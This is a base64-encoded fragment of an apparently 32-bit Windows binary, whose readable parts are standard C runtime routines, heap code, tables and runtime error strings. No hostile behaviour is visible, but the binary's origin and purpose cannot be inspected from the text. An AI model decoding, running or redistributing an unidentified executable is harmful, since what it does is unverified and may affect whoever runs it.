WcOLRCQIg8AgUP8VqGAAEMPMzMzMzMzMzMzMi0wkBPfBAwAAAHQUigFBhMB0QPfBAwAAAHXxBQAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDVYvsU1a+/IIAEFdW/xWwYAAQiz2sYAAQM9s5HfiCABB0Dlb/12oT6BMCAABZagFb/3UM/3UI6B4AAABZiUUMhdtZdApqE+hVAgAAWesDVv/Xi0UMX15bXcNVi+yLRQiFwHUCXcODPZSBABAAdRJmi00MZoH5/wB3OWoBiAhYXcONTQiDZQgAUWoA/zVEfQAQUI1FDGoBUGggAgAA/zWkgQAQ/xUcYAAQhcB0BoN9CAB0DujfFQAAxwAqAAAAg8j/XcPMzMxTVotEJBgLwHUYi0wkFItEJBAz0vfxi9iLRCQM9/GL0+tBi8iLXCQUi1QkEItEJAzR6dHb0erR2AvJdfT384vw92QkGIvIi0QkFPfmA9FyDjtUJBB3CHIHO0QkDHYBTjPSi8ZeW8IQAMzMzMzMzMzMU4tEJBQLwHUYi0wkEItEJAwz0vfxi0QkCPfxi8Iz0utQi8iLXCQQi1QkDItEJAjR6dHb0erR2AvJdfT384vI92QkFJH3ZCQQA9FyDjtUJAx3CHIOO0QkCHYIK0QkEBtUJBQrRCQIG1QkDPfa99iD2gBbwhAAVos1tGAAEP81tHgAEP/W/zWkeAAQ/9b/NZR4ABD/1v81dHgAEP/WXsNWV4s9eGAAEL5weAAQiwaFwHQrgf60eAAQdCOB/qR4ABB0G4H+lHgAEHQTgf50eAAQdAtQ/9f/NugyAQAAWYPGBIH+MHkAEHzE/zWUeAAQ/9f/NaR4ABD/1/81tHgAEP/X/zV0eAAQ/9dfXsNVi+yLRQhWgzyFcHgAEACNNIVweAAQdT5XahjoKwEAAIv4WYX/dQhqEejv4///WWoR6Mr///+DPgBZV3UK/xW0YAAQiT7rBui3AAAAWWoR6A0AAABZX/82/xWkYAAQXl3DVYvsi0UI/zSFcHgAEP8VqGAAEF3DU1aLdCQMVw+vdCQUg/7gi953DYX2dQNqAV6Dxg+D5vAz/4P+4Hc6Ox3AegAQdx1qCehU////U+jtDAAAagmL+Oim////g8QMhf91K1ZqCP81ZJUAEP8VuGAAEIv4hf91IoM9sIEAEAB0GVbo6BYAAIXAWXQU66lTagBX6IAWAACDxAyLx19eW8MzwOv4Vot0JAiF9nQ9agno7f7//1boMAkAAFmFwFl0E1ZQ6E4JAABqCeg0////g8QMXsNqCego////WVZqAP81ZJUAEP8VnGAAEF7D/zWwgQAQ/3QkCOgDAAAAWVnDg3wkBOB3Iv90JAToHAAAAIXAWXUWOUQkCHQQ/3QkBOhNFgAAhcBZdd4zwMNWi3QkCDs1wHoAEFd3IWoJ6GL+//9W6PsLAABqCYv46LT+//+DxAyF/3QEi8frHIX2dQNqAV6Dxg+D5vBWagD/NWSVABD/FbhgABBfXsPMzMzMzMzMzMzMzMzMzMxXi3wkCOtqjaQkAAAAAIv/i0wkBFf3wQMAAAB0D4oBQYTAdDv3wQMAAAB18YsBuv/+/n4D0IPw/zPCg8EEqQABAYF06ItB/ITAdCOE5HQaqQAA/wB0DqkAAAD/dALrzY15/+sNjXn+6wiNef3rA415/ItMJAz3wQMAAAB0GYoRQYTSdGSIF0f3wQMAAAB17usFiReDxwS6//7+fosBA9CD8P8zwosRg8EEqQABAYF04YTSdDSE9nQn98IAAP8AdBL3wgAAAP90AuvHiReLRCQIX8NmiReLRCQIxkcCAF/DZokXi0QkCF/DiBeLRCQIX8NVi+yD7BhTVldqGega/f///3UI6JUBAACL2Fk7HRiDABBZiV0IdQcz9ulwAQAAhdsPhFYBAAAz0rjIeQAQORh0dIPAMEI9uHoAEHzxjUXoUFP/FbxgABBqAV47xg+FIQEAAGpAgyVEhQAQAFkzwL9AhAAQOXXo86uqiR0YgwAQD4brAAAAgH3uAA+EvAAAAI1N74oRhNIPhK8AAAAPtkH/D7bSO8IPh5QAAACAiEGEABAEQOvug2X8AGpAWTPAv0CEABCNNFLzq8HmBKqNnth5ABCAOwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKksB5ABAIkEGEABBAO8d29UFBgDkAddT/RfyDwwiDffwEcsGLRQjHBSyDABABAAAAUKMYgwAQ6M4AAACNtsx5ABC/IIMAEKWlWaNEhQAQpetSQUGAef8AD4VH////i8aAiEGEABAIQD3/AAAAcvFT6JUAAABZo0SFABCJNSyDABDrB4MlLIMAEAAzwL8ggwAQq6ur6w6DPXCBABAAdA/omQAAAOi9AAAA6Yz+//+Dzv9qGejm+///WYvGX15bycOLRCQEgyVwgQAQAIP4/nUQxwVwgQAQAQAAAP8lxGAAEIP4/XUQxwVwgQAQAQAAAP8lwGAAEIP4/HUPoaSBABDHBXCBABABAAAAw4tEJAQtpAMAAHQig+gEdBeD6A10DEh0AzPAw7gEBAAAw7gSBAAAw7gECAAAw7gRBAAAw1dqQFkzwL9AhAAQ86uqM8C/IIMAEKMYgwAQoyyDABCjRIUAEKurq1/DVYvsgewUBQAAjUXsVlD/NRiDABD/FbxgABCD+AEPhRYBAAAzwL4AAQAAiIQF7P7//0A7xnL0ikXyxoXs/v//IITAdDdTV41V8w+2Cg+2wDvBdx0ryI28Bez+//9BuCAgICCL2cHpAvOri8uD4QPzqkJCikL/hMB10F9bagCNhez6////NUSFABD/NRiDABBQjYXs/v//VlBqAehwFAAAagCNhez9////NRiDABBWUI2F7P7//1ZQVv81RIUAEOj9EQAAagCNhez8////NRiDABBWUI2F7P7//1ZQaAACAAD/NUSFABDo1REAAIPEXDPAjY3s+v//ZosR9sIBdBaAiEGEABAQipQF7P3//4iQQIMAEOsc9sICdBCAiEGEABAgipQF7Pz//+vjgKBAgwAQAEBBQTvGcr/rSTPAvgABAACD+EFyGYP4WncUgIhBhAAQEIrIgMEgiIhAgwAQ6x+D+GFyE4P4encOgIhBhAAQIIrIgOkg6+CAoECDABAAQDvGcr5eycODPYiWABAAdRJq/egY/P//WccFiJYAEAEAAADDzMzMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHpAoPiA4P5CHIp86X/JJUoPwAQi8e6AwAAAIPpBHIMg+ADA8j/JIVAPgAQ/ySNOD8AEJD/JI28PgAQkFA+ABB8PgAQoD4AECPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUoPwAQjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klSg/ABCQI9GKBogHRsHpAkeD+QhyjPOl/ySVKD8AEI1JAB8/ABAMPwAQBD8AEPw+ABD0PgAQ7D4AEOQ+ABDcPgAQi0SO5IlEj+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0AAAAAA/AD+P8klSg/ABCL/zg/ABBAPwAQTD8AEGA/ABCLRQheX8nDkIoGiAeLRQheX8nDkIoGiAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMAAAB1JMHpAoPiA4P5CHIN/fOl/P8klcBAABCL//fZ/ySNcEAAEI1JAIvHugMAAACD+QRyDIPgAyvI/ySFyD8AEP8kjcBAABCQ2D8AEPg/ABAgQAAQikYDI9GIRwNOwekCT4P5CHK2/fOl/P8klcBAABCNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcBAABCQikYDI9GIRwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwEAAEI1JAHRAABB8QAAQhEAAEIxAABCUQAAQnEAAEKRAABC3QAAQi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlEjxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcBAABCL/9BAABDYQAAQ6EAAEPxAABCLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpGA4hHA4pGAohHAopGAYhHAYtFCF5fycNoQAEAAGoA/zVklQAQ/xW4YAAQhcCjFIMAEHUBw4MlDIMAEACDJRCDABAAagGjCIMAEMcFAIMAEBAAAABYw6EQgwAQjQyAoRSDABCNDIg7wXMUi1QkBCtQDIH6AAAQAHIHg8AU6+gzwMNVi+yD7BSLVQyLTQhTVotBEIvyK3EMi1r8g8L8V8HuD4vOi3r8ackEAgAAS4l9/I2MAUQBAACJXfSJTfCLDBP2wQGJTfh1f8H5BGo/SV+JTQw7z3YDiX0Mi0wTBDtMEwh1SItNDIP5IHMcvwAAAIDT741MAQT31yF8sET+CXUri00IITnrJIPB4L8AAACA0++LTQyNTAEE99chvLDEAAAA/gl1BotNCCF5BItMEwiLfBMEiXkEi0wTBIt8EwgDXfiJeQiJXfSL+8H/BE+D/z92A2o/X4tN/IPhAYlN7A+FoAAAACtV/ItN/MH5BGo/iVX4SVo7yolNDHYFiVUMi8oDXfyL+4ld9MH/BE87+nYCi/o7z3Rri034i1EEO1EIdUiLTQyD+SBzHLoAAACA0+qNTAEE99IhVLBE/gl1K4tNCCER6ySDweC6AAAAgNPqi00MjUwBBPfSIZSwxAAAAP4JdQaLTQghUQSLTfiLUQiLSQSJSgSLTfiLUQSLSQiJSgiLVfiDfewAdQk5fQwPhIkAAACLTfCNDPmLSQSJSgSLTfCNDPmJSgiJUQSLSgSJUQiLSgQ7Sgh1Y4pMBwSD/yCITQ/+wYhMBwRzJYB9DwB1DrsAAACAi8/T64tNCAkZuwAAAICLz9PrjUSwRAkY6ymAfQ8AdRCNT+C7AAAAgNPri00ICVkEjU/gvwAAAIDT742EsMQAAAAJOItd9ItF8IkaiVwT/P8ID4X6AAAAoQyDABCFwA+E3wAAAIsNBIMAEIs9mGAAEMHhDwNIDLsAgAAAaABAAABTUf/Xiw0EgwAQoQyDABC6AAAAgNPqCVAIoQyDABCLDQSDABCLQBCDpIjEAAAAAKEMgwAQi0AQ/khDoQyDABCLSBCAeUMAdQmDYAT+oQyDABCDeAj/dWxTagD/cAz/16EMgwAQ/3AQagD/NWSVABD/FZxgABChEIMAEIsVFIMAEI0EgMHgAovIoQyDABAryI1MEexRjUgUUVDoHw4AAItFCIPEDP8NEIMAEDsFDIMAEHYDg+gUiw0UgwAQiQ0IgwAQ6wOLRQijDIMAEIk1BIMAEF9eW8nDVYvsg+wUoRCDABCLFRSDABBTVo0EgFeNPIKLRQiJffyNSBeD4fCJTfDB+QRJg/kgfQ6Dzv/T7oNN+P+JdfTrEIPB4IPI/zP20+iJdfSJRfihCIMAEIvYO9+JXQhzGYtLBIs7I034I/4Lz3ULg8MUO138iV0Icuc7Xfx1eYvaO9iJXQhzFYtLBIs7I034I/4Lz3UFg8MU6+Y72HVZO138cxGDewgAdQiDwxSJXQjr7Ttd/HUmi9o72IldCHMNg3sIAHUFg8MU6+472HUO6DgCAACL2IXbiV0IdBRT6NoCAABZi0sQiQGLQxCDOP91BzPA6Q8CAACJHQiDABCLQxCLEIP6/4lV/HQUi4yQxAAAAIt8kEQjTfgj/gvPdTeLkMQAAACLcEQjVfgjdfSDZfwAjUhEC9aLdfR1F4uRhAAAAP9F/CNV+IPBBIv+IzkL13Tpi1X8i8oz/2nJBAIAAI2MAUQBAACJTfSLTJBEI851DYuMkMQAAABqICNN+F+FyXwF0eFH6/eLTfSLVPkEiworTfCL8YlN+MH+BE6D/j9+A2o/Xjv3D4QNAQAAi0oEO0oIdWGD/yB9K7sAAACAi8/T64tN/I18OAT304ld7CNciESJXIhE/g91OItdCItN7CEL6zGNT+C7AAAAgNPri038jXw4BI2MiMQAAAD30yEZ/g+JXex1C4tdCItN7CFLBOsDi10Ii0oIi3oEg334AIl5BItKBIt6CIl5CA+ElAAAAItN9It88QSNDPGJegSJSgiJUQSLSgSJUQiLSgQ7Sgh1ZIpMBgSD/iCITQt9Kf7BgH0LAIhMBgR1C78AAACAi87T7wk7vwAAAICLztPvi038CXyIROsv/sGAfQsAiEwGBHUNjU7gvwAAAIDT7wl7BItN/I28iMQAAACNTuC+AAAAgNPuCTeLTfiFyXQLiQqJTBH86wOLTfiLdfAD0Y1OAYkKiUwy/It19IsOhcmNeQGJPnUaOx0MgwAQdRKLTfw7DQSDABB1B4MlDIMAEACLTfyJCI1CBF9eW8nDoRCDABCLDQCDABBWVzP/O8F1MI1EiVDB4AJQ/zUUgwAQV/81ZJUAEP8VzGAAEDvHdGGDBQCDABAQoxSDABChEIMAEIsNFIMAEGjEQQAAagiNBID/NWSVABCNNIH/FbhgABA7x4lGEHQqagRoACAAAGgAABAAV/8VyGAAEDvHiUYMdRT/dhBX/zVklQAQ/xWcYAAQM8DrF4NOCP+JPol+BP8FEIMAEItGEIMI/4vGX17DVYvsUYtNCFNWV4txEItBCDPbhcB8BdHgQ+v3i8NqP2nABAIAAFqNhDBEAQAAiUX8iUAIiUAEg8AISnX0i/tqBMHnDwN5DGgAEAAAaACAAABX/xXIYAAQhcB1CIPI/+mTAAAAjZcAcAAAO/p3PI1HEINI+P+DiOwPAAD/jYj8DwAAx0D88A8AAIkIjYj87///iUgEx4DoDwAA8A8AAAUAEAAAjUjwO8p2x4tF/I1PDAX4AQAAagFfiUgEiUEIjUoMiUgIiUEEg2SeRACJvJ7EAAAAikZDisj+wYTAi0UIiE5DdQMJeAS6AAAAgIvL0+r30iFQCIvDX15bycNTM9s5HXSBABBWV3VCaJBkABD/FRRgABCL+Dv7dGeLNYxgABBohGQAEFf/1oXAo3SBABB0UGh0ZAAQV//WaGBkABBXo3iBABD/1qN8gQAQoXiBABCFwHQW/9CL2IXbdA6hfIEAEIXAdAVT/9CL2P90JBj/dCQY/3QkGFP/FXSBABBfXlvDM8Dr+MzMzMzMzMzMzItMJAxXhcl0elZTi9mLdCQU98YDAAAAi3wkEHUHwekCdW/rIYoGRogHR0l0JYTAdCn3xgMAAAB164vZwekCdVGD4wN0DYoGRogHR4TAdC9LdfOLRCQQW15fw/fHAwAAAHQSiAdHSQ+EigAAAPfHAwAAAHXui9nB6QJ1bIgHR0t1+ltei0QkCF/DiReDxwRJdK+6//7+fosGA9CD8P8zwosWg8YEqQABAYF03oTSdCyE9nQe98IAAP8AdAz3wgAAAP91xokX6xiB4v//AACJF+sOgeL/AAAAiRfrBDPSiReDxwQzwEl0CjPAiQeDxwRJdfiD4wN1hYtEJBBbXl/DVuh2AAAAi0wkCDP2iQi40HoAEDsIdCKDwAhGPTh8ABB88YP5E3Iig/kkdx3oQgAAAMcADQAAAF7D6DUAAACLDPXUegAQXokIw4H5vAAAAHIVgfnKAAAAdw3oFQAAAMcACAAAAF7D6AgAAADHABYAAABew+i52v//g8AIw+iw2v//g8AMw4tMJARWOw2AlgAQV3NYi8HB+AWNPIWAlQAQi8GD4B+NNMCLB8HmAgPG9kAEAXQ3gzj/dDKDPbR/ABABdR8zwCvIdBBJdAhJdRNQavTrCFBq9esDUGr2/xXQYAAQiweDDDD/M8DrFuiD////xwAJAAAA6IH///+DIACDyP9fXsOLRCQEOwWAlgAQcx+LyIPgH8H5BY0EwIsMjYCVABD2RIEEAY0EgXQDiwDD6D/////HAAkAAADoPf///4MgAIPI/8OLRCQEU4vIg+AfwfkFVleLNI2AlQAQjRyNgJUAEI08wMHnAgP3g34IAHUjahHopOr//4N+CABZdQ2NRgxQ/xW0YAAQ/0YIahHo6ur//1mLA41EOAxQ/xWkYAAQX15bw4tEJASLyIPgH8H5BY0EwIsMjYCVABCNRIEMUP8VqGAAEMNTV2oCM9voSur//1lqA185PWCVABB+XVahSIUAEIv3weYCiwQGhcB0QfZADIN0DVDo2wgAAIP4/1l0AUOD/xR8KaFIhQAQiwQGg8AgUP8VeGAAEKFIhQAQ/zQG6Pjq//+hSIUAEFmDJAYARzs9YJUAEHylXmoC6Dvq//9Zi8NfW8NWi3QkCFboIwAAAIXAWXQFg8j/XsP2Rg1AdA//dhDo6QgAAPfYWV4bwMMzwF7DU1aLdCQMM9tXi0YMi8iD4QOA+QJ1N2apCAF0MYtGCIs+K/iF/34mV1D/dhDo9OL//4PEDDvHdQ6LRgyogHQOJP2JRgzrB4NODCCDy/+LRgiDZgQAiQZfi8NeW8NqAegCAAAAWcNTVldqAjPbM//oM+n//zP2WTk1YJUAEH50oUiFABCLBLCFwHRf9kAMg3RZUFbo1uX//6FIhQAQWVmLBLCLSAz2wYN0MIN8JBABdQ9Q6Bz///+D+P9ZdB1D6xqDfCQQAHUT9sECdA5Q6AH///+D+P9ZdQIL+KFIhQAQ/zSwVujY5f//WVlGOzVglQAQfIxqAugO6f//g3wkFAFZi8N0AovHX15bw2oC6LPM//9Zw8zMzMzMzMzMzMyLVCQMi0wkBIXSdEczwIpEJAhXi/mD+gRyLffZg+EDdAgr0YgHR0l1+ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0BogHR0p1+otEJAhfw4tEJATDoayBABCFwHQP/3QkBP/QhcBZdARqAVjDM8DDVYvsav9oqGQAEGicGAAQZKEAAAAAUGSJJQAAAACD7BxTVleJZegz/zk9tIEAEHVGV1dqAVtTaKBkABC+AAEAAFZX/xXcYAAQhcB0CIkdtIEAEOsiV1dTaJxkABBWV/8V2GAAEIXAD4QiAQAAxwW0gQAQAgAAADl9FH4Q/3UU/3UQ6J4BAABZWYlFFKG0gQAQg/gCdR3/dRz/dRj/dRT/dRD/dQz/dQj/FdhgABDp3gAAAIP4AQ+F0wAAADl9IHUIoaSBABCJRSBXV/91FP91EItFJPfYG8CD4AhAUP91IP8V1GAAEIvYiV3kO98PhJwAAACJffyNBBuDwAMk/Og7CAAAiWXoi8SJRdyDTfz/6xNqAVjDi2XoM/+JfdyDTfz/i13kOX3cdGZT/3Xc/3UU/3UQagH/dSD/FdRgABCFwHRNV1dT/3Xc/3UM/3UI/xXcYAAQi/CJddg793Qy9kUNBHRAOX0cD4SyAAAAO3Ucfx7/dRz/dRhT/3Xc/3UM/3UI/xXcYAAQhcAPhY8AAAAzwI1lyItN8GSJDQAAAABfXlvJw8dF/AEAAACNBDaDwAMk/OiHBwAAiWXoi9yJXeCDTfz/6xJqAVjDi2XoM/8z24NN/P+Lddg733S0VlP/deT/ddz/dQz/dQj/FdxgABCFwHScOX0cV1d1BFdX6wb/dRz/dRhWU2ggAgAA/3Ug/xUcYAAQi/A79w+Ecf///4vG6Wz///+LVCQIi0QkBIXSVo1K/3QNgDgAdAhAi/FJhfZ184A4AF51BStEJATDi8LDVYvsav9owGQAEGicGAAQZKEAAAAAUGSJJQAAAACD7BhTVleJZeihuIEAEDPbO8N1Po1F5FBqAV5WaKBkABBW/xXkYAAQhcB0BIvG6x2NReRQVmicZAAQVlP/FeBgABCFwA+EzgAAAGoCWKO4gQAQg/gCdSSLRRw7w3UFoZSBABD/dRT/dRD/dQz/dQhQ/xXgYAAQ6Z8AAACD+AEPhZQAAAA5XRh1CKGkgQAQiUUYU1P/dRD/dQyLRSD32BvAg+AIQFD/dRj/FdRgABCJReA7w3RjiV38jTwAi8eDwAMk/OgKBgAAiWXoi/SJddxXU1boSvz//4PEDOsLagFYw4tl6DPbM/aDTfz/O/N0Kf914Fb/dRD/dQxqAf91GP8V1GAAEDvDdBD/dRRQVv91CP8V5GAAEOsCM8CNZcyLTfBkiQ0AAAAAX15bycPMzMzMzFWL7FdWi3UMi00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySV2FMAEIvHugMAAACD6QRyDIPgAwPI/ySF8FIAEP8kjehTABCQ/ySNbFMAEJAAUwAQLFMAEFBTABAj0YoGiAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySV2FMAEI1JACPRigaIB4pGAcHpAohHAYPGAoPHAoP5CHKm86X/JJXYUwAQkCPRigaIB0bB6QJHg/kIcozzpf8kldhTABCNSQDPUwAQvFMAELRTABCsUwAQpFMAEJxTABCUUwAQjFMAEItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItEjvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJXYUwAQi//oUwAQ8FMAEPxTABAQVAAQi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoGiAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/JJVwVQAQi//32f8kjSBVABCNSQCLx7oDAAAAg/kEcgyD4AMryP8khXhUABD/JI1wVQAQkIhUABCoVAAQ0FQAEIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJVwVQAQjUkAikYDI9GIRwOKRgLB6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJVwVQAQkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4Dg+8Dg/kID4Ja/////fOl/P8klXBVABCNSQAkVQAQLFUAEDRVABA8VQAQRFUAEExVABBUVQAQZ1UAEItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItEjgSJRI8EjQSNAAAAAAPwA/j/JJVwVQAQi/+AVQAQiFUAEJhVABCsVQAQi0UIXl/Jw5CKRgOIRwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQheX8nDVot0JAhXg8//9kYMQHQGg2YMAOsXVujC3f//VugQAAAAVov46Abe//+DxAyLx19ew1aLdCQIV4PP//ZGDIN0NFboWff//1aL+OgsAwAA/3YQ6EQCAACDxAyFwH0Fg8//6xKLRhyFwHQLUOjZ4f//g2YcAFmDZgwAi8dfXsNTi1wkCDsdgJYAEFZXc3KLw8H4BY08hYCVABCLw4PgH400wIsHweYC9kQwBAF0UlPovfX//4sHWfZEMAQBdClT6Gv1//9ZUP8VMGAAEIXAdQr/FRhgABCL8OsCM/aF9nQV6ML0//+JMOiy9P//xwAJAAAAg87/U+jV9f//WYvG6w7omfT//8cACQAAAIPI/19eW8PMzMzMzMzMzMzMzItUJASLTCQI98IDAAAAdTyLAjoBdS4KwHQmOmEBdSUK5HQdwegQOkECdRkKwHQROmEDdRCDwQSDwgQK5HXSi/8zwMOQG8DR4EDDi//3wgEAAAB0FIoCQjoBdelBCsB04PfCAgAAAHSoZosCg8ICOgF10grAdMo6YQF1yQrkdMGDwQLrjMzMzMzMzMzMzMzMzFWL7FYzwFBQUFBQUFBQi1UMjUkAigIKwHQHQg+rBCTr84t1CIPJ/5BBigYKwHQHRg+jBCRz8ovBg8QgXsnDzMxVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aKRv8zyTpH/3cEdARJSffRi8FbXl/Jw8zMzMzMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAdCD6sEJOvzi3UIigYKwHQKRg+jBCRz841G/4PEIF7Jw8zMzMzMzFE9ABAAAI1MJAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDVot0JAg7NYCWABBzOIvOi8bB+QWD4B+LDI2AlQAQjQTA9kSBBAF0HVdW6Kbz//9W6CgAAABWi/jo9/P//4PEDIvHX17D6Ljy///HAAkAAADotvL//4MgAIPI/17DVot0JAhXVugq8///g/j/WXQ8g/4BdAWD/gJ1FmoC6BPz//9qAYv46Arz//9ZO8dZdBxW6P7y//9ZUP8VLGAAEIXAdQr/FRhgABCL+OsCM/9W6GHy//+LxoPmH8H4BVmLBIWAlQAQjQz2gGSIBACF/3QMV+i68f//WYPI/+sCM8BfXsNWi3QkCItGDKiDdB2oCHQZ/3YI6Lbe//9mgWYM9/szwFmJBolGCIlGBF7DzMzMzMzMVYvsV1ZTi3UMi30IjQWMgQAQg3gIAHU7sP+L/wrAdC6KBkaKJ0c4xHTyLEE8GhrJgOEgAsEEQYbgLEE8GhrJgOEgAsEEQTjgdNIawBz/D77A63jw/wX8ggAQgz34ggAQAH8EagDrFfD/DfyCABBqE+gl3f//xwQkAQAAALj/AAAAM9uQCsB0J4oGRoofRzjYdPJQU+itAQAAi9iDxAToowEAAIPEBDjDdNobwIPY/4vYWAvAdQnw/w38ggAQ6wpqE+g13f//g8QEi8NbXl/Jw1WL7FdWU4tNEAvJD4TpAAAAi3UIi30MjQWMgQAQg3gIAHVOt0GzWrYgjUkAiiYK5IoHdCEKwHQdRkc4/HIGONx3AgLmOPhyBjjYdwICxjjEdQ1JddczyTjED4SbAAAAuf////8PgpAAAAD32emJAAAA8P8F/IIAEIM9+IIAEAB/BGoA6xnw/w38ggAQi9lqE+g13P//xwQkAQAAAIvLM8Az24v/igYLwIofdCML23QfRkdRUFPovAAAAIvYg8QE6LIAAACDxARZO8N1CUl11TPJO8N0Cbn/////cgL32VgLwHUJ8P8N/IIAEOsOi9lqE+g23P//g8QEi8uLwVteX8nDVYvsUYtFCI1IAYH5AAEAAHcMiw1YdgAQD7cEQetSi8hWizVYdgAQwfkID7bR9kRWAYBedA6AZf4AiE38iEX9agLrCYBl/QCIRfxqAViNTQpqAWoAagBRUI1F/FBqAeie9f//g8QchcB1AsnDD7dFCiNFDMnDVYvsUYM9lIEAEABTVld1HYtFCIP4QQ+MqgAAAIP4Wg+PoQAAAIPAIOmZAAAAi10IvwABAABqATvfXn0lOTVEfQAQfgtWU+hA////WVnrCqFYdgAQigRYI8aFwHUEi8PrZYsVWHYAEIvDwfgID7bI9kRKAYB0D4BlCgBqAohFCIhdCVjrCYBlCQCIXQiLxlZqAI1N/GoDUVCNRQhQV/81lIEAEOiV8v//g8QghcB0rjvGdQYPtkX86w0PtkX9D7ZN/MHgCAvBX15bycPMzMzMzMzMzMzMzMzMzMyLRCQIi0wkEAvIi0wkDHUJi0QkBPfhwhAAU/fhi9iLRCQI92QkFAPYi0QkCPfhA9NbwhAAzMzMzMzMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItUJAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC/DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C/V5fW8ONQvxeX1vD/yU4YAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAAyGcAAMppAABUaAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAOaQAAIGkAADBpAAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpqAAAsagAARGoAAFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsAACprAAA6awAATGsAAAAAAAAAAAAA/////84SABDUEgAQBgAABgABAAAQAAMGAAYCEARFRUUFBQUFBTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgIAAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRMT1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVuYWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91